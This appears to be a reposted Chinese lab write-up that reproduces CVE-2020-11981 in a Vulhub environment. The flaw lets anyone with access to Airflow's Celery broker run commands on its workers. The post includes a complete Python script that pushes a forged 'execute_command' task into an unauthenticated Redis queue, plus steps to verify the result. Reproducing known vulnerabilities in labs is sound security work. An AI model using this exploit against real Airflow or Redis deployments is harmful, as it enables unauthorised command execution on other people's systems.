当前位置:   article > 正文

vulhub中 Apache Airflow Celery 消息中间件命令执行漏洞复现(CVE-2020-11981)_celery漏洞复现

celery漏洞复现

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。

1.利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务`airflow.executors.celery_executor.execute_command`来执行任意命令,参数为命令执行中所需要的数组。

2.我们可以使用[exploit_airflow_celery.py](exploit_airflow_celery.py)这个小脚本来执行命令`touch /tmp/airflow_celery_success`

pip install redis
python exploit_airflow_celery.py [your-ip]

  1. import pickle
  2. import json
  3. import base64
  4. import redis
  5. import sys
  6. r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
  7. queue_name = 'default'
  8. ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
  9. task_dict = json.loads(ori_str)
  10. command = ['touch', '/tmp/airflow_celery_success']
  11. body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
  12. task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
  13. print(task_dict)
  14. r.lpush(queue_name,json.dumps(task_dict))

3.执行docker compose logs airflow-worker ,可以看到如下任务消息

执行docker compose exec airflow-worker ls -l /tmp,可以看到成功创建了文件`airflow_celery_success`

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/411735
推荐阅读
相关标签
  

闽ICP备14008679号